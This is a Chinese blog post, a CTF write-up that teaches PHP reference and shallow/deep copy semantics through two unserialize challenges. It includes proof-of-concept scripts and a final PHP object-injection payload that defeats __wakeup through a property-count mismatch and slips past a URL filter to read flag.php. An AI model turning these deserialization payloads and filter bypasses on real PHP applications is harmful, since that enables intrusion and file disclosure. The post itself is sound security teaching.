从两道题目浅谈PHP深浅拷贝

最新推荐文章于 2023-02-17 12:45:01 发布

Crispr-bupt

最新推荐文章于 2023-02-17 12:45:01 发布

阅读量563

点赞数 1

分类专栏： CTF知识点总结文章标签： php 代码规范安全

本文链接：https://blog.csdn.net/crisprx/article/details/104457047

版权

CTF知识点总结专栏收录该内容

20 篇文章 1 订阅

订阅专栏

从两道题目浅谈PHP深浅拷贝

0x01 前言

最近才认认真真看完PHP，虽然还是有很多地方不会应用，因此想多看看有关PHP的题目，看到了两道和PHP深浅拷贝有关的题目，自己也把它搞懂吧。。

0x01 正文

题一：南邮ctf的PHP反序列化

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

题目意图很简单，就是先设置了对象的一个属性的值，如果另一个属性的值和这个设置好的值相等，则得到flag，而get_magic_quotes_gpc()和$pass=stripslashes($pass)只是把加上的转义字符又给去掉，似乎对这个题没有什么影响。最初我以为$o->secret = "*"就是把这个属性的值设为*，其实是设置成了任意字符，那我们如何将这个满足$o->secret === $o->enter这里就要用到PHP深浅拷贝的知识。

我们举一个栗子：

<?php
class Example1
{
    public $name;

    public function __construct($name)
    {
        $this->name = $name;
    }
}

$ex1 = new Example('test1');// $ex1->name现在是：test1
$ex2 = $ex1;// $ex2->name现在是：test1

$ex2->name = 'test2';// 这样修改一下之后，$ex1->name与$ex2->name都变为了：test2

现在我们应该可以理解对象间引用的概念，他们就相当于是同一个类的同一个对象，PHP5默认通过引用传递对象，假设$obj1和$obj2是两个对象，使用$obj1=$obj2这样的方法复制出的对象是相互关联的，程序中想复制一个值与原来相同的对象，而不希望目标对象与源对象关联，应使用clone关键字。

$ex1 = new Example('test1');// $ex1->name现在是：test1
$ex2 = clone $ex1;//$ex2->name现在是：test1
$ex2->name = 'test2';//现在$ex1->name还是test1,而$ex2->name是test2

这里看到，通过clone之后，$ex1与$ex2是两个不同的对象，他们拥有各自的变量环境。但是这里需要注意，在这两个对象内部，拥有的是值类型的数据，如果是内部拥有的是引用类型，那么通过clone得到的新对象中的引用则仍然指向原引用

因此这里就引申出 浅复制 与 深复制 的概念：

浅复制：使用clone来复制对象，这种复制叫做“浅复制“，被赋值对象的所有变量都还有与原来对象相同的值，而所有的对其他对象的引用都仍然指向原来的对象。
深复制：被复制的对象的所有的变量都含有与原来的对象相同的值，除去那些引用其他对象的变量。

而如果要进行深复制，应该在类中定义一个__clone()方法,在这个方法中完成对目标对象的属性赋以新值，这里就不过多赘述。

或者利用串行化(冷藏与解冻)，即序列化再反序列化：

$tmp = serialize($ex1);
$ex2 = unserialize($tmp);

这样得到的$ex2就是一个全新的对象

最后要引出&，属于浅拷贝，举个例子就能明白了：

<?php
$a = 'crispr';
$b = &$a;
$b = 'crispr copy';
echo $a; //此时$a = 'crispr copy'

类似传地址过去，其实它们的改变是完全同步的，或者说它们就是一体的。

因此PHP生成的POC如下:

<?php 
  class just4fun
  {
      var $enter;
      var $secret;
      
      function __construct()
      {
          $this->enter=&$this->secret; //浅拷贝，它们的变化完全同步
      }
   }
 echo serialize(new just4fun());
 
  ?>

题二： 2019全国信息安全大赛 JustSoSo
这里我是本地进行复现的，23333，只能分析一下PHP了和构造Poc，其他的文件包含读PHP就省去了。。。

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
public function __construct($handle) { 
        $this->handle = $handle; 
    } 
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
    }

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
         die('stop hacking!');
         exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->

</html>

通过GET获取两个参数：file和payload。
Hint.php中有两个类Flag和Handle。主要是通过Handle来调用Flag的getFlag()函数。但在Handle中存在wakeup()函数，该函数会重置所有变量，导致传入的Flag类对象为空。这里可以利用增加对象个数的方式来绕过wakeup函数，增加对象个数时wakeup函数便会失效，这个是比较常见的。还要绕过一层：

 function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
    }

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true); 
            }

这里我们的$file是flag.php，而初始化后，$this->token_flag = $this->token，接着调用getFlag()方法后，重新设置了$this->token_flag，因此在这里也应该是要使用&符号，令$this->token_flag = &$this->token进行浅拷贝。

if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
         die('stop hacking!');
         exit();

此时还需要绕过?payload=不能出现flag,但是flag在flag.php中，在url多加斜杠即可,///index.php?此时PHP便不会解析成功了。
最终PHP的Poc如下:

<?php
class Handle{ 
    private $handle;  
    public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
public function __construct($handle) { 
        $this->handle = $handle; 
    } 
public function __destruct(){
	$this->handle->getFlag();
}
}
class Flag{
	public $file;
    public $token;
    public $token_flag;

    function __construct($file){
$this->file = $file;
$this->token_flag = &$this->token;
}
}
	
$o = new Flag('flag.php');
$oo = new Handle($o);
$ser = serialize($oo);

print $ser;
?>

最终payload:
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

注意Handle有私有变量，应该加上%00

参考链接：
https://www.cnblogs.com/nul1/p/9418080.html
http://www.lin2zhen.top/index.php/archives/11/

Crispr-bupt

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
从两道题目浅谈PHP深浅拷贝

从两道题目浅谈PHP深浅拷贝0x01 前言最近才认认真真看完PHP，虽然还是有很多地方不会应用，因此想多看看有关PHP的题目，看到了两道和PHP深浅拷贝有关的题目，自己也把它搞懂吧。。0x01 正文题一：南邮ctf的PHP反序列化<?phpclass just4fun { var $enter; var $secret;}if (isset($_GET['...
复制链接

扫一扫